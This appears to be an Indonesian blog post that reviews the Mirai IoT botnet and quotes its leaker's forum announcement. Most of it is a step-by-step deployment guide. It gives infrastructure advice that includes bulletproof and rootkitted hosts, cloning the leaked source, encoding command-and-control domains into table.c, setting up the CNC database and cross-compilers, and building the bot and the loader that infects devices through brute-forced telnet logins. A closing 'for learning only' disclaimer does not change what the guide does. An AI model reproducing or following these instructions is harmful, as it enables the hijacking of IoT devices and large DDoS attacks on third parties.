PT. Digital Media Techindo

Perum Pondok Tandala, Jl. Bungur V No. 230
Kawalu, Kota Tasikmalaya
Jawa Barat - Indonesia 46182




Kali ini saya akan memberikan review mengenai Mirai IoT Botnet. Salah satu malware mantafs untuk melancarkan serangan DDoS. Artikel ini saya publish terinsipirasi ketika melihat beberapa tools DDoS attack di forum-forum sebelah.

Apa itu “Mirai”?

Mirai (Dalam bahasa Jepang itu “masa depan”) merupakan malware yang mampu mengubah sistem komputer yang menjalankan Linux menjadi pengendali bot dari jarak jauh. Yang mana dapat digunakan untuk botnet dalam serangan jaringan skala besar. Target utama dari malware ini yaitu perangkat IoT online seperti cctv dan router rumahan.

Mirai botnet ini sudah pernah digunakan dalam beberapa serangan DDoS terbesar. Diantaranya penyerangan terhadap situs web wartawan keamanan komputer, Brian Krebs. Lalu serangan terhadap web host asal Prancis, OVH. Dan pada bulan Oktober lalu berhasil melumpuhkan server Dyn.

Saat ini tercatat bahwa Mirai botnet sudah berhasil membuat populasi botnet sekitar lebih dari 500.000 yang berasal dari perangkat IoT di seluruh dunia. Populasi botnet tertinggi dari yang dihasilkan Mirai ini diantaranya di Cina, Hong Kong, Macau, Vietnam, Taiwan, Korea Selatan, Thailand, Indonesia, Brasil, Spanyol, dan beberapa negara lainnya yang terletak di Amerika Utara, Eropa, dan Oceania.

Mirai ini mampu melakukan beberapa jenis serangan DDoS. Diantaranya SYN-flooding, UDP flooding, Valve Source Engine (VSE) query-flooding, GRE-flooding, ACK-flooding, pseudo-random DNS label-prepending attacks, HTTP GET attacks, HTTP POST attacks, and HTTP HEAD attacks.

Bila diolah oleh orang yang mampu, Mirai ini dapat menjadi sistem DDoS attack yang fleksibel. Dan dapat meluncurkan serangan DDoS dalam skala yang besar.

Source code dari Mirai ini sudah dibocorkan oleh hacker dengan kode nama Anna-Senpai dalam forum hacker secara open-source. Ketika source code dipublikasikan, para peretas dan cyber security profesional pun mulai mencoba menggabungkan Mirai dengan Teknik lainnya.

Berikut original quotes dari Anna-Senpai yang sudah saya terjemahkan ke dalam Bahasa Indonesia:


Greetz everybody,

Ketika saya pertama kali masuk industri DDoS, saya tidak berencana tinggal lama di dalamnya. Saya membuat uang saya, ada banyak mata memandang IoT sekarang, jadi saatnya untuk GTFO. Namun, saya tahu setiap skid dan ibu mereka, itu impian basah mereka basah memiliki sesuatu selain qbot.

Jadi hari ini, saya merilis hal yang luar biasa untuk Anda. Dengan Mirai, saya biasanya mampu mengeluarkan maksimal 380.000 bot dari telnet sendiri. Namun, setelah Kreb DDoS, ISP perlahan-lahan menutup dan membersihkan tindakan mereka. Jadi hari ini, maksimal hanya mampu mengeluarkan 300.000 bot.

So, saya Senpai Anda, dan saya akan memperlakukan Anda dengan benar-benar baik, my hf-chan.

Dan kepada semua orang yang berpikir bahwa mereka berhasil melakukan sesuatu untuk memukul CNC saya, saya hanya tertawa baik. Bot ini menggunakan domain untuk CNC. Dibutuhkan 60 detik bagi semua bot untuk menyambung kembali, LOL.

Juga, shoutout ke posting blog ini dengan malwaremustdie:

Memiliki banyak rasa hormat untuk Anda, pikir baik-baik reverser, tapi Anda benar-benar gagal dalam membalikkan biner ini. “Kami masih memiliki kung fu yang lebih baik daripada Anda kiddos“. Tidak membuat saya tertawa silahkan, Anda membuat begitu banyak kesalahan dan bahkan bingung dalam beberapa binari yang berbeda dengan saya. LOL

Biarkan saya memberikan pukulan balik:

  • Port 48.101 bukan untuk kembali terhubung, itu untuk kontrol yang mencegah beberapa contoh dari bot yang dijalankan bersama-sama
  • /dev/watchdog dan /dev/misc bukan untuk “membuat penundaan”. Tapi untuk mencegah sistem dari hanging. Ini adalah low-hanging fruit. Sangat sedih mengetahui bahwa Anda sangat bodoh
  • Anda gagal dan berpikir FAKE_CNC_ADDR dan FAKE_CNC_PORT itu nyata CNC, lol “Dan melakukan backdoor untuk terhubung melalui HTTP pada 65.222.202.53“. Anda disini tersandung oleh aliran sinyal 😉 try harder skiddo
  • Menyebalkan alat skeleton Anda, ia berpikir serangan decoder adalah “sinden style”, tetapi bahkan tidak menggunakan protokol berbasis teks? CNC dan bot berkomunikasi melalui protokol biner
  • Anda mengatakan ‘chroot (“/”) sehingga diprediksi seperti torlus’ tetapi Anda tidak mengerti, beberapa orang lain mengeksekusi berdasarkan cwd. Ini menunjukkan bagaimana out-of-the-loop Anda dengan malware itu nyata. Kembalilah ke skidland

Mengapa Anda menulis alat reverse engineering? Anda bahkan tidak dapat membalikkan dengan baik di tempat pertama. Silakan belajar beberapa keterampilan terlebih dahulu sebelum mencoba untuk mengesankan orang lain. Arogansi Anda dalam menyatakan bagaimana Anda “memukul saya” dengan pernyataan kung-fu bodoh Anda membuat saya tertawa begitu keras saat makan sampai harus menepuk punggung.

Anna-Senpai, Jum’at tanggal 30 September pukul 19:50:52 UTC 2016


Lihat arsip postingan Anna-Senpai yang asli disini.

Requirements Mirai

1. Bare Minimum

2 servers: 1 untuk CNC + mysql, 1 untuk scan receiver, dan 1+ untuk loading

2. Pro Setup

2 VPS dan 4 server

  • 1 VPS dengan extremely bulletproof host untuk database server
  • 1 VPS, rootkitted, untuk scanReceiver dan distributor
  • 1 server untuk CNC (CPU usage 2% dengan 400.000 bots)
  • 3x 10gbps NForce server untuk loading (distributor mendistribusikan ke 3 server dengan merata)

Overview Infrastruktur

  • Untuk membuat sambungan ke CNC, bots akan mengatasi domain (resolv.c / resolv.h) dan terhubung ke alamat IP
  • Bot telnet brute menggunakan scanner SYN canggih yang sekitar 80x lebih cepat daripada qbot. Dan menggunakan sumber daya hampir 20x lebih rendah. Ketika menemukan hasil brute, bot akan mengatasi domain lain dan melaporkan itu. Hal ini dirantai ke server terpisah untuk secara otomatis memuat ke perangkat sebagai hasil yang datang.
  • Hasil brute dikirim secara default pada port 48101. Utilitas ini disebut scanListen.go dalam alat yang digunakan untuk menerima hasil brute. Jika Anda membangun dalam mode debug, Anda harus melihat utitlity scanListen biner muncul dalam folder debug.

Mirai menggunakan penyebaran mekanisme yang mirip dengan self-rep, tapi saya menyebutnya “real-time-load”. Pada dasarnya, hasil brute bot, akan mengirim ke server listener dengan utilitas scanListen. Lalu mengirimkan hasilnya ke loader. Lingkaran ini (brute -> scanListen -> load -> brute) yang disebut sebagai real-time-load.

Loader dapat dikonfigurasi untuk menggunakan beberapa alamat IP. Hal ini digunakan untuk mengurangi port exhaustion linux. Ada sejumlah port yang tersedia, yang berarti bahwa tidak ada yang cukup variasi dalam tuple untuk mendapatkan lebih dari 65.000 koneksi outbound secara bersamaan. Namun dengan Pro Setup akan memungkinkan 60.00070.000 koneksi outbound simultan (bersamaan dengan loading) yang tersebar di seluruh 5 IP.


Install Requirement

apt-get install git gcc golang electric-fence mysql-server mysql-client

Download Source Code

git clone https://github.com/zakybstrd21215/Mirai-Source-Code.git

Compile encrypt-script

cd mirai-source/mirai/tools && gcc enc.c -o enc.out

Encrypt cnc-domain and report-domain

./enc.out string cnc.mirai.com
./enc.out string report.mirai.com

Konfigurasi Bot

Bot memiliki beberapa pilihan konfigurasi yang disamarkan di table.c / table.h. Dalam ./mirai/bot/table.h kamu dapat menemukan sebagian deskripsi untuk pilihan konfigurasi. Namun, di ./mirai/bot/table.c ada beberapa pilihan harus diubah untuk mendapatkan kinerja yang maksimal.

  • TABLE_CNC_DOMAIN – Nama Domain dari CNC untuk menghubungkan ke DDoS avoidance
  • TABLE_CNC_PORT – Port untuk connect
  • TABLE_SCAN_CB_DOMAIN – Ketika hasil brute ditemukan, domain ini yang bertugas melaporkan
  • TABLE_SCAN_CB_PORT – Port untuk terhubung ke hasil brute

Dalam ./mirai/tools kamu akan menemukan sesuatu yang dinamakan enc.c. Kamu harus mengkompilasi ini untuk output yang akan dimasukkan ke dalam file table.c.

Jalankan perintah ini dalam direktori mirai:

./build.sh debug telnet

Kamu akan mendapatkan beberapa error yang berhubungan dengan cross-compiler jika belum dikonfigurasi. Namun hal ini tidak akan mempengaruhi kompilasi alat enc.

Sekarang, dalam folder ./mirai/debug kamu akan melihat kompilasi biner yang dinamai enc. Misalnya, untuk mendapatkan string yang disamarkan untuk nama domain agar bot dapat terhubung, gunakan ini:

./debug/enc string example.com

Maka output nya akan terlihat seperti ini:

XOR'ing 20 bytes of data...
\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22

Untuk memperbarui nilai TABLE_CNC_DOMAIN, misalnya mengganti string hex menjadi lebih panjang daripada yang disediakan oleh alat enc. Juga, kamu melihat meng-XOR 20 byte data. Nilai ini harus mengganti argumen task terakhir dengan baik. Jadi misalnya, garis table.c awalnya terlihat seperti ini

add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com

Sekarang kita tahu nilai dari alat enc, lalu memperbaruinya seperti ini:

add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22", 20); // example.com

Beberapa nilai string, beberapa port (uint16 dalam network order / endian besar).

Edit file “tables.c”

cd /mirai-source/mirai/bot
nano table.c

Ganti string di line 18, line 21 ke encrypted domain string.

void table_init(void)
{   // change below 4 lines
    add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22", 30); //cnc.mirai.com
    add_entry(TABLE_CNC_PORT, "\x22\x35", 2);   // 23

    add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22", 29); // report.mirai.com
    add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2);         // 48101

Konfigurasi CNC

cd ../../scripts

Edit file “db.sql”:

nano db.sql

Tambahkan string “use mirai;” di line 2, setelah “CREATE DATABASE mirai;”

CREATE DATABASE mirai;
use mirai;
CREATE TABLE `history` (
  ...

Jalankan service mysql:

service mysql start

Update database mysql dengan script ini (root:toor adalah pengguna & pass yang saya tetapkan dalam Mysql-server)

cat db.sql | mysql -uroot -ptoor

Menambahkan user ke mysql

mysql -uroot -ptoor mirai
INSERT INTO users VALUES (NULL, 'username-kamu', 'password-kamu', 0, 0, 0, 0, -1, 1, 30, '');
exit

Maka gambaran akhirnya akan menjadi seperti ini:

[email protected]:~/Desktop/Mirai-Source-Code/scripts$ mysql -uroot -ptoor mirai
   ...
mysql> INSERT INTO users VALUES (NULL, 'username-kamu', 'password-kamu', 0, 0, 0, 0, -1, 1, 30, '');
Query OK, 1 row affected (0.06 sec)

mysql> exit

Sekarang, edit file ini ./mirai/cnc/main.go

nano ../mirai/cnc/main.go

Antara line 10 – Line 14 set mysql user dan pass:

const DatabaseAddr string   = "127.0.0.1"
const DatabaseUser string   = "root"
const DatabasePass string   = "toor"
const DatabaseTable string  = "mirai"

Setting Up Cross Compilers

Cross compilers ini gampang, ikuti petunjuk di link ini untuk mengaturnya. Kamu harus me-restart sistem atau reload .bashrc file agar dampak perubahannya terasa.

Atau masuk ke direktori “scripts”:

[email protected]:~/Desktop/Mirai-Source-Code/scripts$

Buat folder di Mirai root path:

cd .. && mkdir cross-compile-bin
cd cross-compile-bin

Jalankan perintah berikut untuk men-download cross-compiler (gunakan proxy jika kecepatan koneksi lemot)

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2

Setelah selesai, kemudian jalankan script berikut ini:

cd ../scripts
sudo ./cross-compile.sh

Masukan type “n” jika kamu menemukan pernyataan berikut:

Install mysql-server and mysql-client (y/n)? n

Edit .bashrc

vi ~/.bashrc

Tambahkan string berikut ini dibagian bawah:

export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin

export GOPATH=$HOME/go

Refresh:

mkdir ~/go
source ~/.bashrc

Build bot dan CNC

Get golang requirements

go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords

Dalam folder Mirai, jalankan script build.sh

./build.sh debug telnet

Jika output debug binari dari bot tidak daemonize dan memberikan info tentang connect ke CNC, etc, status of floods, etc. Compiles ke ./mirai/debug folder

./build.sh release telnet

Building Echo Loader

Loader membaca entri telnet dari STDIN dalam format berikut:

ip:port user:pass

Ini akan mendeteksi jika ada wget atau tftp, dan mencoba untuk men-download biner menggunakan itu. Jika tidak, hal itu akan echoload biner kecil (sekitar 1kb) yang akan cukup sebagai wget.

cd ../loader
./build.sh

Perintah tersebut akan membangun loader, optimized, penggunaan produksi, no fuss. Jika kamu memiliki file dalam format yang digunakan untuk loading, kamu dapat melakukan ini:

cat file.txt | ./loader

Ok sampai disini saja, silahkan kembangkan kembali agar perfomanya lebih mantafs. Modul pembelajaran ini saya publish hanya untuk “Pembelajaran”. Bagi kamu yang menyalahgunakan materi ini, saya dan team Error 404 Cyber News tidak bertanggung jawab atas apa yang kamu lakukan. Resiko ditanggung sendiri :p


    administrator

    Just a simple person who like photography, videography, code, and cyber security enthusiast.